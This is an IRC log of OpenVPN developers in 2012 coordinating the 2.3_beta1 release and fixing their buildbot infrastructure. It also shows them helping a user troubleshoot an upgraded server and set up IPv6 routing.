getaddrinfo that are all rather small changes 12:55 -!- dazo is now known as dazo_afk 13:19 <@andj> did I hear beta? 14:04 <@cron2> andj: indeed! 14:04 <@cron2> now we're waiting for mattock, who conveniently disappeared... 14:56 <@andj> :) 14:56 <@andj> nice, good news 16:51 < plaisthos> great. I am running into a bug with Android system apis 16:51 < plaisthos> (again...) --- Day changed Thu Sep 13 2012 02:23 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:23 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 02:23 <@mattock_> finally here 02:23 <@mattock_> damn empathy 03:12 -!- dazo_afk is now known as dazo 03:12 <@dazo> mattock_: did you see my mail from yesterday? Just waiting for buildbot .... 03:12 <@dazo> duh ... it appeared in my inbox now :) 03:20 <@mattock_> dazo: I have a sneaking suspicion the old (lenny) build.openvpn.net is still out there, and messing things up 03:21 <@dazo> mattock_: yeah, that sounds like it ... as I got two different ssh fingerprints ... and both arguing for the attention 03:22 <@dazo> I managed to get access to one box now 03:23 <@dazo> ugh ... not getting sudo to function :/ 03:23 <@dazo> doesn't take my expected passwords :/ 03:24 * dazo wanted to assign it a second IP ... 03:24 <@mattock_> dazo: try .105 03:25 <@dazo> hmm ... that responds, but doesn't take my password .... no ldap? 03:25 <@dazo> .101 got my ssh pub key 03:26 <@dazo> maybe buildbot looks reasonable on .105 ... 03:28 <@dazo> .105 looks up to date! 03:29 <@mattock_> I'll check your password on .105 03:30 <@mattock_> yeah, you don't have an account 03:30 <@dazo> that explains :) 03:31 <@dazo> well, I just need an account for buildbot debugging ... if the webUI doesn't work ... so no requirement from my side :) 03:31 <@mattock_> I'll create one an mail you the creds 03:31 <@dazo> thx 03:33 <@mattock_> sent 03:34 <@mattock_> yes, old build is living at .101 03:34 <@mattock_> I'll see if I could shut it down completely 03:36 <@dazo> mattock_: put 'shutdown -h now' in /etc/rc.local :-P 03:36 <@mattock_> hahaha :) 03:36 <@mattock_> I think I'll do that 03:36 <@mattock_> I'm a bit surprised buildbot has worked as well as it has 03:36 <@mattock_> given that two instances were competing for the .101 address 03:37 <@dazo> well ... it's a lot of failures though ... and many logs not arriving .105 03:38 <@dazo> if you really want to kill off the .101 ... just rename the kernels in /boot 03:38 <@mattock_> ah yes, that's a good idea 03:38 <@dazo> or move them into a sub-dir 03:38 <@dazo> that way, you can force it up again via grub manually ... if needed 03:39 <@mattock_> shutting down, kernel renamed 03:40 <@mattock_> I'd like to see it boot now :) 03:40 <@mattock_> I'll revert back to .101 for the new build 03:41 <@dazo> is it possible to just clean up the work queues for all slaves ... and we'll just kick off a new build manually? 03:41 <@mattock_> hmm, perhaps 03:41 <@dazo> I only care for build results for commit e7412ca3eee2f2a2fb0af5acbe968137cfd7e995 03:42 <@cron2> so master is working again? 03:42 <@mattock_> soonish, yes 03:43 <@mattock_> master back at .101 03:43 <@cron2> yeah, pings for me, and I can see /builders 03:44 <@dazo> so .101 is the proper IP? 03:45 <@cron2> that one answers, at least 03:45 <@mattock_> yes 03:45 <@mattock_> I killed the old build which competed for .101 address 03:45 <@dazo> goodie! 03:45 <@mattock_> I moved the new one to .105, but only temporarily 03:45 <@dazo> ahh, okay 03:46 <@cron2> freebsd74 slave started, and received work... 03:46 <@mattock_> stuff seems to be happening now 03:46 <@dazo> nice! 03:47 <@cron2> freebsd82 working... 03:48 <@cron2> freebsd90 survived master outage?!? 03:48 <@mattock_> ah yes, fedora 16 got broken by some software upgrade, it's in grub prompt 03:48 <@mattock_> dazo: any clues if this is a known/common issue? 03:49 <@dazo> mattock_: I dunno .... 03:49 * dazo checks bugzilla 03:52 <@cron2> ok, all my slaves are active again, and the failed ones are picking up their work queue (quite a bit of stuff there) 03:54 <@mattock_> interestingly only fedora-16-i386 fails to boot 03:56 <@mattock_> I'll try to provide a grub command-line manually 04:00 <@cron2> dazo: soon-to-be-beta1 passed server side tests yesterday evening 04:00 <@dazo> cron2: cool! 04:00 <@dazo> I'm going to update one of my servers to use --compat-names ... and see how that fares 04:01 <@dazo> it should work ... but that's a production test :) 04:01 <@mattock_> ouch, lunch first 04:05 <@vpnHelper> RSS Update - tickets: #227: Can Not Disconnect on Windows 8 <https://community.openvpn.net/openvpn/ticket/227> 04:26 <@dazo> d12fk: --compat-names really seems to work well :) 04:40 <@cron2> all my builders are green \o/ 04:44 <@dazo> looks pretty good on the Linux side as well ... some of the opensuse builds fails due to a compiler bug in some cases; but that's not our fault 04:44 <@cron2> nah, SuSE is the dark side 04:44 <@dazo> opensolaris got a curious warning in auth-pam ... not sure I care enough about that for beta1 at least 04:44 <@dazo> yeah :) 04:47 <@cron2> it has? how do you see that? 04:50 <@dazo> cron2: http://10.7.36.101:8010/builders/builder-cron2-opensolaris-10-i386-stable-master/builds/34/steps/compile_1/logs/stdio 04:50 <@cron2> this I understand, but have you been clicking on every single builder? or is there a "show me all warnings" button somewhere? 04:51 <@dazo> no, I've been going through all logs manually 04:51 <@dazo> the red colour stands out :) 04:52 <@dazo> I check all "main builds" ... and randomly the other compile combos 04:52 <@cron2> ah 04:52 <@cron2> I think that warning is harmless, most likely something about not having the right amountof "const" in the function prototype or so 04:55 <@dazo> yeah ... that's my thought as well ... it's not critical enough to block the beta1 05:50 <@mattock_> hmm, maybe I'll just rebuit the fedora 16 i386 vm, won't take that long 05:50 <@mattock_> rebuild 05:53 <@dazo> mattock_: I didn't see any bz's related to Fedora and grub issues 05:54 <@dazo> however ... from what I see now in buildbot ... I'm not terrified 05:54 <@dazo> I've compiled it on Fedora14 and SL6.3 ... without issues 05:55 <@dazo> mattock_: when do you think the f16 slave is ready? 05:58 <+krzee> sounds like a fighter jet drone 06:03 <@dazo> hehe :) 06:05 * plaisthos noticed that persist-tun is good for connecting, reconnecting, dns failure and no network at all after that :D 06:06 <@mattock_> dazo: in a few hours 06:06 <@mattock_> it's installing packages atm 06:07 <@dazo> mattock_: ahh, okay ... then I'll wait for it to come up ... before pushing out the git tree with the 2.3_beta1 tag ... I'll branch out the beta/2.3 branch too then 06:08 <@dazo> which opens up for 2.4 development instantly :) 06:09 <@mattock_> nice! 06:09 <@mattock_> I need the F16 VM anyways to build the rpms, so waiting makes perfect sense 06:10 <@cron2> yay 06:11 <@mattock_> installed, now some fabric+puppet and it's done 06:42 -!- Netsplit *.net <-> *.split quits: plaisthos 06:54 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 07:09 <@mattock_> fedora-16-i386 seems to fail at autoreconf phase 07:09 <@mattock_> I'll see if something is just missing 07:10 <@cron2> libtool 07:11 <@mattock_> nope 07:11 <@cron2> automake, autoconf, m4? 07:12 <@mattock_> http://pastebin.com/r0Shveh4 07:12 <@dazo> mattock_: that's a missing libtool issue 07:12 <@dazo> $ rpm -qf /usr/share/aclocal/libtool.m4 07:12 <@dazo> libtool-2.2.10-3.fc14.x86_64 07:13 <@mattock_> it's already installed 07:13 <@mattock_> libtool-2.4-9.fc16.i686 07:13 <@mattock_> version mismatch? 07:13 <@dazo> can I access that build box? 07:14 <@dazo> mattock_: do you got gettext? 07:14 <@mattock_> actually no, it's on my own laptop so it gets tricky 07:14 <@dazo> ahh :) 07:14 <@mattock_> actually I was wrong 07:14 <@mattock_> it's in the vpn, so yes 07:14 <@mattock_> just a sec 07:15 <@dazo> libtool and gettext can cause these errors ... 07:16 <@mattock_> try .82 with the creds I sent you earlier 07:18 <@dazo> I'm in ... will try a build in my home dir 07:19 <@mattock_> ok 07:19 <@mattock_> thanks! 07:19 <@mattock_> I'll install polar while I'm at it 07:20 <@mattock_> it's probably obsolete / does not exist 07:20 <@dazo> sounds good :) 07:21 <@dazo> huh!?!?!?! 07:22 <@dazo> copying these files manually, and it builds 07:22 * dazo points a nasty finger at mattock_ for *disabling* selinux 07:22 <@dazo> :) 07:22 <@mattock_> hahaha 07:23 <@mattock_> is that not a standard practice in enterprises? :P 07:24 <@mattock_> so was the copying of files manually a one-time thing? 07:24 <@mattock_> i.e. should buildbot work fine now? 07:24 <@mattock_> polar installed 07:25 * cron2 feels spammed by mattocks build failures 07:26 <@mattock_> cron2: that I do not doubt 07:26 <@dazo> mattock_: can you try 'yum downgrade libtool' ... and see what happens? it's some kind of autotools bug 07:26 <@mattock_> yep 07:26 <@dazo> it built just fine when copying those files .... if it's a one-time thingie ... that depends probably on future updates 07:27 <@mattock_> it'll downgrade gcc with it 07:27 <@dazo> not gcc ... that's fine 07:27 <@dazo> unless it insists on it 07:28 <@dazo> this is a autotools issue, not compiler chain issue 07:28 <@mattock_> it insists on it 07:29 <@mattock_> maybe we can wait and see _if_ it breaks again when it's updated 07:30 <@dazo> mattock_: you can also send a report to the ML and Cc Alon .... he should definitely be able to get access to a Fedora16 box within 30 min these days ;-) 07:30 <@mattock_> testing build using buildbot 07:30 <@mattock_> yeah, makes sense 07:30 <@mattock_> seems to work now 07:35 <@dazo> seems t_client.sh tests failed ... except of that it looks good 07:36 <@mattock_> yep 07:37 <@dazo> okay ... I'll push out the git trees, tags and beta branch then :) 07:40 <@mattock_> do we want to run the other builds for FC16 before that? 07:40 <@vpnHelper> RSS Update - testtrac: Preparing for v2.3_beta1 <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=6abd293e5c04467a17e6ed4cf01c708cef0ac046> 07:40 <@dazo> mattock_: it's passed without any issues on all other boxes ... so I find the risk very low :) 07:41 <@mattock_> ok 07:46 <@dazo> okay ... 2.3_beta1 is pushed out through all git channels ... let the release machinery start :) 07:48 <@cron2> yeeha! 07:48 <@cron2> dazo: what failed in the t_client test? 07:48 <@dazo> cron2: probably some pebkac issues with the configs ... ' 07:48 <@dazo> run IPv4 ping tests (want_ok), 1440 byte packets... 07:48 <@dazo> FAIL: IPv4 ping test (64 bytes) failed, but should succeed. 07:49 <@cron2> fping/fping6 not installed? 07:49 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:49 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:49 <@cron2> fping/fping6 not installed? (repeat for mattock) 07:49 <@mattock> ah yes 07:49 <@mattock> that one 07:49 <@mattock> was missing 07:50 <@dazo> :) 07:51 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 07:51 -!- mode/#openvpn-devel [+v krzee] by ChanServ 07:51 <@mattock> yep, now tests pass 07:51 <@cron2> I think I need to add an initial sanity check "fping 127.0.0.1"... 07:52 <@mattock_> I'll need to cleanup old crap from build, it seems it's somewhat messy due to old build replacing it occasionally 07:52 <@mattock_> e.g. polarssl builders are missing 07:52 <@mattock_> actually, it was just the browser cache playing tricks on me 07:53 <@mattock> dazo: are the "old" tarballs still valid? 07:53 <@dazo> mattock: yes 07:54 <@dazo> the tarballs contains what I just pushed out 07:54 <@mattock> ok 07:54 <@mattock> I'll start preparing the release today and finish it tomorrow 07:55 <@mattock> dazo: did you respond something to James' mail? 07:55 <@dazo> mattock: no, I haven't ... wanted to dig into his suggestion ... I think that'll be an enhancement for next release cycle 07:56 <@mattock> ok 07:56 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 07:57 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 07:57 <@dazo> plaisthos: you missed that I pushed out git trees with beta1 :) 08:20 < plaisthos> whee 08:24 <@cron2> oh, interesting question for d12fk on the list "how does IPC on windows work"... I'm curious myself to see the answer 08:25 -!- coffe [~coffe@sto.alatest.se] has joined #openvpn-devel 08:26 < noshadow> cron2: I hope they got something better than DDE... 08:26 <@dazo> cron2: coffe is going to try our brand new 2.3 to get IPv6 :) 08:26 < coffe> Hello :) 08:26 < coffe> Yes , add it to our vpn that we have today 08:26 <@cron2> coffe: \o/ 08:27 <@dazo> coffe: I told you it would make him happy :) 08:27 <@cron2> -o\ \o\ \o/ /o/ /o- 08:27 < coffe> dazo, yes. 08:27 <@cron2> nah 08:27 <@cron2> _o\ \o\ \o/ /o/ /o_ 08:27 <@cron2> still doesn't look right 08:27 <@cron2> anyway 08:28 * cron2 is happy "2.3 is near" and "people using IPv6" 08:28 <@dazo> heh 08:29 < coffe> yes 2.3beta is out 08:29 * cron2 looks slightly curious at coffe - really? I didn't notice! 08:29 < coffe> i have ipv6 ( not native) in my homes.. but like to spread the nativ ip6 of the office over vpn 08:29 <@cron2> that's the spirit! 08:30 < coffe> sorry around the corner .. 08:30 <@dazo> cron2: git trees are pushed out ... and I hope mattock is doing his magic on the source :) 08:30 <@cron2> (--server-ipv6, --tun-ipv6, ccd/iroute-ipv6, and don't forget to turn on ipv6 forwarding on the server) 08:30 <@cron2> !ipv6 08:30 <@vpnHelper> "ipv6" is (#1) http://www.greenie.net/ipv6/openvpn.html for ipv6 payload patch (adds some nice ipv6 options), or (#2) see !snapshots for a release with ipv6 patches in it, report how it works to help it get included in a stable release 08:30 <@dazo> 2.3_beta1 is "developer released" :) 08:30 * plaisthos stopped using ipv6 tunnels when youtube switch to ipv6 08:30 < coffe> as the vpn we have today is in production .. i cant really mess it up.. so i have to be secure in that adding ipv6 will not break anything 08:31 < noshadow> for ipv6 you might also want --fragment... 08:31 < coffe> http://pastebin.com/gfqLyX13 thats the mainoffice server conf. 08:32 <@cron2> noshadow: we don't use it, and it does not seem to hurt (if UDP packets get too big, they get fragmented, but that rarely happen with --comp-lzo) 08:32 <@cron2> coffe: pretty standard. 08:32 <@cron2> 1. find a free /64, get that routed to the openvpn server from your gateway router 08:33 <@cron2> 2. put that into --server $myipv6network/64 08:33 <@cron2> 3. add push "route-ipv6 2000::/3" (which is the equivalent of route-gateway def1 for IPv6) 08:33 <@cron2> done 08:33 <@cron2> if you want to route IPv6 to people's home LANs, you need to 08:34 <@cron2> 4. ccd/ iroute-ipv6 $homenetwork/64 08:34 <@cron2> 2. should be 08:34 <@cron2> 2. put that into --server-ipv6 $myipv6network/64 08:34 <@cron2> sorry 08:34 <@cron2> 1a turn on ipv6 forwarding on the OpenVPN server 08:35 < coffe> cron2, this is a office to office connection .. 08:35 < coffe> the vpn server is in it self even the router 08:35 <@cron2> office/office or office/home is the same thing - you just iroute-ipv6 a /64 there (same way that route+iroute are used for IPv4) 08:35 < coffe> i will test this tomorrow morning before anyone is in the offce 08:36 < coffe> as i have to update openvpn first. 08:36 <@cron2> if the vpn server itself is the external router, 1 and 1a are easy :) 08:36 <@cron2> the good thing is that you can do that without endangering old clients - because clients will just ignore IPv6 options pushed by the server if they cannot handle that 08:37 < coffe> its a 1 to 1 connection 08:37 < coffe> for clients working from home i have a other server. 09:10 <@mattock> 2.3_beta1 debs and rpms ready 09:16 < coffe> :) 09:17 < coffe> Q. if i do a apt-get update .. will it close the running vpn ? 09:18 <@cron2> no idea 09:18 < coffe> 2.3-beta1-debian0 OpenVPN project:repos.openvpn.net when apt-get install -s openvpn 09:18 <@mattock> coffe: it'll restart openvpn, yes 09:19 <@mattock> not apt-get update but when you do apt-get upgrade 09:24 < coffe> mattock, tnx.. i guess i have to wait then.. dont think ppl would like to loose there connection 09:33 < coffe> going to make a rollout ipv6 ip address plan 09:40 < plaisthos> Android version with 2.3beta1 is out now too :) 09:44 <@cron2> yay 09:52 < plaisthos> altough no commit affects the android version in any way :D 10:31 <@dazo> plaisthos: oh, I think you're forgetting about commit 6abd293e5c04467a17 ... I'm pretty sure that can be noticed! 10:31 <@dazo> ;-) 10:38 -!- coffe [~coffe@sto.alatest.se] has quit [Excess Flood] 10:38 -!- coffe [~coffe@sto.alatest.se] has joined #openvpn-devel 10:51 -!- coffe [~coffe@sto.alatest.se] has quit [Ping timeout: 268 seconds] 13:30 -!- dazo is now known as dazo_afk 13:55 -!- coffe [~coffe@sto.alatest.se] has joined #openvpn-devel 13:55 < coffe> Hi 13:56 < coffe> due to our isp went down i did have a chans of updating .. now my tunnel dont go up again 15:14 <@cron2> anything in the server logs? 15:26 < coffe> no nothing .. i did have to revert the server to 2.1 , client is running 2.3B.. still ipv4.. 15:26 <@cron2> well, if the server is 2.1, there won't be v6 15:29 < coffe> no its not ipv6 .. i am guessing its something with udp 15:39 < coffe> will be back with more info tomorrow. 15:39 < coffe> cron2, 15:39 < coffe> are you running tcp or udp ? 15:39 <@cron2> you could run a 2.3 server on a different port and see how it behaves... 15:39 < coffe> yes if i install , i use apt . 15:39 <@cron2> my official test server runs udp and tcp, on IPv4 and IPv6 transport, and tests that every night 15:40 < coffe> but i hve to go to bed 15:40 <@cron2> corporate server 1 runs udp, corportate server 2 runs tcp 15:40 < coffe> will be back tomorrow 15:40 <@cron2> both run current code 15:40 <@cron2> 'nite (and I need to go to sleep as well :) ) 15:40 < coffe> could not even see any connections on the server. 15:40 < coffe> NN 15:41 -!- coffe [~coffe@sto.alatest.se] has quit [Remote host closed the connection] 16:59 < plaisthos> This is the start screen of my app: https://lh5.ggpht.com/vmkQH9NAeZBEVgXBswJ0Nl9UHZTSovw59iZ-Da3F1Ht-MXacGc8TQT_r3eTMKQQOYg_e 17:00 < plaisthos> and a user complain that the import ovpn config feature is hidden and should be advertised more 17:00 * plaisthos is lost 18:03 <+krzee> lol --- Day changed Fri Sep 14 2012 01:02 -!- coffe [~coffe@sto.alatest.se] has joined #openvpn-devel 01:02 < coffe> Morning 01:04 <@andj> hehe: https://twitter.com/OpenSSLFact 01:04 <@vpnHelper> Title: OpenSSL Fact (OpenSSLFact) on Twitter (at twitter.com) 01:11 -!- coffe [~coffe@sto.alatest.se] has quit [Ping timeout: 244 seconds] 02:36 <@mattock> d12fk: any clue why building openvpn-gui gives this error: http://pastebin.com/QcSNePxb 02:37 <@mattock> trying to build the same version of GUI as in alpha3 02:54 <@mattock> actually, I'll try build-complete, was using build-snapshot which apparently builds just those 03:38 <@mattock> still the same error, trying with the openvpn-2.3_alpha3 gui ("1.0.5") and build-complete 03:41 -!- dazo_afk is now known as dazo 03:51 <@mattock> hmm, I wonder if an apt-get upgrade hosed my patched mingw... 03:51 <@mattock> yeah 04:19 <@mattock> success, finally! 04:22 <@dazo> nice! 04:22 <@dazo> I've upgraded two of my servers with beta1 ... works like a charm :) 04:23 <@dazo> and logwatch got a lot happier with openvpn log data when adding --compat-names 04:24 <@mattock> most/all of my buildslaves should also be using 2.3_beta1 now 04:24 <@mattock> and it's in the apt/yum repos already 04:24 <@mattock> I'll smoketest the windows installer now 04:24 <@mattock> then lunch, then release 04:28 <@dazo> \o/ 04:38 -!- coffe [~coffe@sto.alatest.se] has joined #openvpn-devel 04:39 < coffe> hi.. back after all internetproblem .. but it seems as with 2.3 as the server i connect to .. it dont work. 04:41 <@dazo> coffe: got logs? 04:42 <@dazo> coffe: you had 2.1 before? try adding --tmp-dir to your server config ... f.ex. mkdir -m770 /var/tmp/openvpn && chmod openvpn:openvpn /var/tmp/openvpn ... and add 'tmp-dir /var/tmp/openvpn' ... can be that's the trick 04:51 < coffe> dazo, okey.. cant mess more with the net right now.. 04:51 < coffe> i will try to get logs 04:51 <@dazo> coffe: I use --verb 4 when firing up openvpn for debugging ... that provides pretty good hints about what goes wrong 04:52 < coffe> i did 8 04:52 <@dazo> then you were probably drowned by info :) 04:52 < coffe> yes , 04:52 <@mattock> win7 64-bit tests passed 04:54 < coffe> Fri Sep 14 09:34:22 2012 us=835987 read from TUN/TAP returned 60 04:54 < coffe> Fri Sep 14 09:34:22 2012 us=870912 event_wait returned -1 05:02 <@mattock> winxp 32-bit passed 05:02 <@mattock> all seems ok, release in a few hours 05:02 <@dazo> nicey! 05:02 <@dazo> mattock: btw ... do we have some download numbers of alpha releases? 05:03 <@mattock> no, but I can get them with a bit of work 05:04 <@mattock> I got "install awstats to swupdate" on my TODO, but it's been pretty low priority 05:04 <@mattock> that'd make things much simpler 05:06 <@dazo> mattock: no worries ... I was more curious ... this question has an even lower prio than awstats ;-) 05:12 <@dazo> lol! http://www.youtube.com/watch?v=uIRBxRlsYR0 05:12 <@vpnHelper> Title: LEAKED Official Apple iPhone 5 Promo Video - Keynote 2012 - YouTube (at www.youtube.com) 05:14 < coffe> dazo, i am trying again.. but 05:14 <@dazo> but? 05:15 < coffe> nothing is happening when i try to connect. 05:15 <@dazo> huh!? 05:15 <@dazo> the server doesn't log anything? 05:16 < coffe> not after that .. 05:16 < coffe> with debug = 4 05:16 <@dazo> can you pastebin your config again? 05:16 <@dazo> server config 05:17 < coffe> http://pastebin.com/idy0yidq 05:17 < coffe> i have folder with same name 05:19 <@dazo> and no "WARNING" lines in the log file at all? 05:19 < coffe> i am using ccd 05:19 <@dazo> can you pastebin one of those as well? 05:20 < coffe> are just iroutes in them 05:20 <@dazo> okay, that should be fine 05:21 < coffe> the client is not getting a connection 05:21 <@dazo> I'll try to setup a test server now with your config ... just replacing the keying material 05:23 < coffe> http://pastebin.com/QCa2cdcT 05:23 <@dazo> coffe: your --local statement ... can you put an IP address there? 05:23 < coffe> line 20 05:24 < coffe> i run everything from config file 05:24 < coffe> local have servers name .. 05:25 < coffe> solved it 05:25 <@dazo> what was it? 05:25 < coffe> seems that 2.3 handles lines in hosts in a other way then 2.1 is 05:25 <@dazo> yeah, the resolver code changed quite a bit in 2.2 05:26 < coffe> as i saw , it did bound localhost 05:26 <@dazo> :) 05:26 < coffe> so cron2 , what was it again i need to add ? 05:26 <@dazo> <cron2> (--server-ipv6, --tun-ipv6, ccd/iroute-ipv6, and don't forget to turn on ipv6 forwarding on the server) 05:26 <@dazo> coffe: ^^ :) 05:28 < coffe> is failing 05:29 <@dazo> what fails and how? 05:29 < coffe> server-ipv6 need more .. 05:29 <@dazo> !ipv6 05:29 <@vpnHelper> "ipv6" is (#1) http://www.greenie.net/ipv6/openvpn.html for ipv6 payload patch (adds some nice ipv6 options), or (#2) see !snapshots for a release with ipv6 patches in it, report how it works to help it get included in a stable release 05:30 <@dazo> coffe: see the syntax for --server-ipv6 in the URL above ... it takes the IPv6 subnet you want to use on your VPN 05:31 < coffe> so that should be the subnet on the other side ? or the one the server is .. or the tun subnet ? 05:31 <@dazo> the subnet of your VPN 05:31 <@dazo> just like you have "server 10.8.0.0 255.255.255.0" 05:31 <@dazo> 10.8.0.0/24 is your IPV4 VPN subnet 05:31 < coffe> okey 05:32 < coffe> its running 05:33 <@dazo> :) 05:33 < coffe> i guess i need parts on "client" alos 05:33 < coffe> and i need to have a smoke.. super stressed.. 05:33 < coffe> dazo, tnx alot mate :) 05:33 <@dazo> coffe: you're welcome :) 05:34 <@dazo> in fact, all 2.3 clients will now get a IPv6 VPN IP ... "just like that" 05:34 < coffe> i do notice 05:34 < coffe> now i just have to fix routing 05:34 <@dazo> yeah :) 05:34 < coffe> where are you from dazo ? 05:34 <@dazo> Norway 05:34 < coffe> if ever in stockholm.. i will buy you a beer 05:35 < coffe> Morrn da gutten 05:35 <@dazo> thx :) 05:35 <@dazo> hehehe :) 05:45 <@dazo> andj: the OpenSSLFact user ... that's scary reading .... 05:55 < coffe> dazo, i lost my history yesterday .. could i please ask you if you could fine cron2 line about route ? 05:55 <@dazo> coffe: sure! 05:56 <@dazo> coffe: http://www.fpaste.org/KhvA/ .... that's your discussion, I believe 05:58 < coffe> tnx alot :) 06:04 < coffe> now i have to solve the thing of having routes updated.. i guess i where sleeping that day in school :P 06:05 <@dazo> there are probably more people on #openvpn who can help you out there ... feels like more of them are sys-admins 06:05 < coffe> yes 06:05 < coffe> i am relly greatful of all the help :) 06:06 <@dazo> that's what a community is all about ... people helping each other :) 06:08 < coffe> it seems that i have dual configs for 1 client . 06:09 -!- bantu [~quassel@phpbb/developer/bantu] has quit [Remote host closed the connection] 06:10 -!- bantu [~quassel@phpbb/developer/bantu] has joined #openvpn-devel 06:27 < coffe> cron2, having problem with iroute-ipv6 06:27 < plaisthos> yes really scary 06:32 <@dazo> plaisthos: I downloaded the openssl code ... and those references are really there ... 06:32 <@cron2> re (sorry, was out of the office) 06:33 < plaisthos> :) 06:33 * dazo thinks it about time for some lunch :) 06:33 < plaisthos> I have read openssl code to figure out how the engine/rsa_sign stuff is working 06:33 < plaisthos> the code sometime is really scary 06:33 <@dazo> plaisthos: and you didn't get insane? No eye or brain cancer? 06:34 <@dazo> :) 06:34 * dazo heads out for a little while 06:34 <@cron2> coffe: so where's the problem? 06:35 <@cron2> iroute-ipv6 needs route-ipv6 in the main config (to pull the network into openvpn), and then it's just "iroute-ipv6 2001:db8:123:456::/64" in the ccd 06:35 < plaisthos> dazo: I did 4 hours or so of openssl code reading and looking just to find out how to access the RSA* context of a EVPKey 06:35 < plaisthos> and the resulting code is only if (RSA_sign(NID_md5_sha1, (unsigned char*) data, datalen, 06:35 < plaisthos> sigret, &siglen, pkey->pkey.rsa) <= 0 ) 06:35 < plaisthos> one line %) 06:36 < plaisthos> + a lot of JNI stuff around it (http://code.google.com/p/ics-openvpn/source/browse/jni/jbcrypto.cpp) but that was easy compared to the one line of openssl code :D 06:36 <@vpnHelper> Title: jbcrypto.cpp - ics-openvpn - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 06:47 <@mattock> download pages updated 06:47 <@mattock> I'll make the announcements 06:52 < coffe> cron2 i guess i missed the route-ipv6 06:52 <@cron2> then it wouldn't work, as the kernel would not be told "route these IPv6 packets to my tun!" 06:52 <@mattock> done 06:52 <@mattock> i.e. 2.3_beta1 is out 06:53 < plaisthos> the A full list of new features and the changelog are available here: is duplicated :) 06:53 <@mattock> oops, some redundancy in the announcement 06:53 <@mattock> not a biggie, but silly 06:54 < coffe> cron2, with route-ipv6 in server conf .. it will not start 06:54 <@cron2> what's the exact line you have there, and what's the error message? 06:55 < coffe> cron2, will test again .. have to be quick so no one complans about vpn down :P 06:57 < coffe> Options error: Unrecognized option or missing parameter(s) in /etc/openvpn/server.conf:13: route-ipv6 (2.3_beta1) 06:57 <@cron2> 13:54 <@cron2> what's the exact line you have there 06:57 <@cron2> this should look like 06:57 <@cron2> route-ipv6 2001:db8:123:456::/48 06:58 <@cron2> same thing as for your "route" statements, just with an IPv6 network 06:59 < coffe> cron2, tnx .. where missing my /48 there .. 07:31 -!- coffe [~coffe@sto.alatest.se] has quit [Quit: Leaving] 07:32 -!- coffe [~coffe@2001:9b0:112:1019:1001:1001:1001:1143] has joined #openvpn-devel 07:36 -!- le0- [~le0@178.33.1.173] has joined #openvpn-devel 07:36 -!- le0- [~le0@178.33.1.173] has left #openvpn-devel [] 07:39 -!- coffe [~coffe@2001:9b0:112:1019:1001:1001:1001:1143] has quit [Ping timeout: 240 seconds] 07:40 -!- coffe [~coffe@sto.alatest.se] has joined #openvpn-devel 07:49 < coffe> cron2, dazo a big thnx for the help .. as you might have noticed.. its working :) will try if i can get it to run later in my ipv6 only network 07:49 <@dazo> coffe: cool! happy it works :) ... and if you find some bugs, let us know :) 07:50 < coffe> dazo, OFC :) 07:51 <@dazo> even though, I hope you won't find any ;-) 07:51 < coffe> me 2 07:59 <@cron2> coffe: cool :) 08:08 < noshadow> is the limited range of bits of ipv6 addresses a bug or a feature? 08:09 <@cron2> mmh? 08:11 < noshadow> cron2: for some test I tried to give every client a full /48 (as I read it was suggested to give everyone a full /48), but the net was then so large openvpn did not like it. 08:16 <@ecrist> raar 08:16 < coffe> one thing i did notice.. where that the pool.. server takes 0001: and first host 1001 08:16 <@ecrist> cron2: aside from the spelling errors, what other problems did you have with the freebsd openvpn-devel/beta port? 08:16 < coffe> 1002 08:17 <@ecrist> also, when I configure with the following command, openvpn --version still claims it was built with openssl: 08:17 <@ecrist> ./configure --with-crypto-lib=polarssl --enable-password-save --prefix=/usr/local --mandir=/usr/local/man --infodir=/usr/local/info/ --build=amd64-portbld-freebsd9.0 08:18 <@dazo> what does --version really say? 08:18 <@ecrist> oh, you changed the config arg at some point 08:18 <@dazo> not me ... but Alon ;-) 08:18 <@cron2> noshadow: you can route a /48 just fine, but you cannot use it with --server-ipv6 - that will be an on-link net on the tunnel, and that must be /64 or smaller (and will assigne single IPv6 addresses to each clients) 08:19 <@cron2> if you want to send a /48 to each client, you need to use ccd and static assignments, you can't do this in a "pool" way yet 08:19 <@cron2> ecrist: the location of the plugins was weird, and especially *different* than in the previous version 08:20 <@cron2> coffe: yes, that's the way it is implemented today. "There are enough addresses" 08:20 < noshadow> cron2: I was not using pool. But even the --ifconfig-ipv6 does not like anything bigger than /48 IIRC. 08:21 <@cron2> noshadow: ifconfig is for putting a network *on a link*. It does not make sense to put anything but a /64 (or smaller) there. 08:21 < coffe> cron2, would be more natural if it would use 1001 for the server. 08:21 <@ecrist> why? 08:21 <@cron2> coffe: what's more natural about 1001 than ::1? 08:22 <@ecrist> imo, ::1 is FAR more logical 08:22 * cron2 likes ::1 - and did the code, so yeah, felt logical to me :) 08:22 < coffe> cron2, as the others get 100? 08:23 <@cron2> noshadow: ifconfig-ipv6, in particular, does not give addresses to "clients behind the openvpn link" - this is *only* for the tun link. If you want route /48s across, use route-ipv6 + iroute-ipv6 08:23 <@cron2> coffe: clients could have started from :0002, true. But hey, there's enough addresses :-) 08:24 < coffe> cron2, ofc. . just something i did notice.. a tweak for the future 08:24 < plaisthos> ±.±.±.±. 08:24 < coffe> i will complain when i am out of addresses :P 08:25 < plaisthos> iirc at the moment ipv6 addresses are linked to the ipv4 addresses 08:29 < noshadow> cron2: I was using iroute-ipv6 for the clients. But I was wondering why I need an extra route-ipv6 and cannot use the one built into the ifconfig-ipv6. 08:36 <@cron2> noshadow: ah, I see. Well, because if you did, it would ifconfig a /40 (or whatever) onto the tun interface, which half of the operating systems do not permit 08:37 <@cron2> plaisthos: yes, the pool is "shared" - IPv4 determines the "number of the slot in the pool" and IPv6 just gets $base+1000+$slotnum 08:37 * cron2 was too lazy to implement independent pools 08:37 <@cron2> maybe I should do md5(client-cert) and use that as host part... 08:38 < plaisthos> :) 08:41 <@dazo> cron2: I believe you can have access to the cert's SHA1 